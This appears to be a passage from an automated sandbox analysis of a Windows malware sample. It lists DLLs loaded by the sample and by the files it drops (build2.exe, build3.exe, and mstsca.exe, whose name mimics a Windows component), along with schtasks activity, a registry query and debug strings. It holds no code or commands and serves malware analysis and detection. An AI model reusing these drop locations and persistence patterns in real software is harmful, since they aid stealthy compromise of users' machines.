Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: lzShU2RYJa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
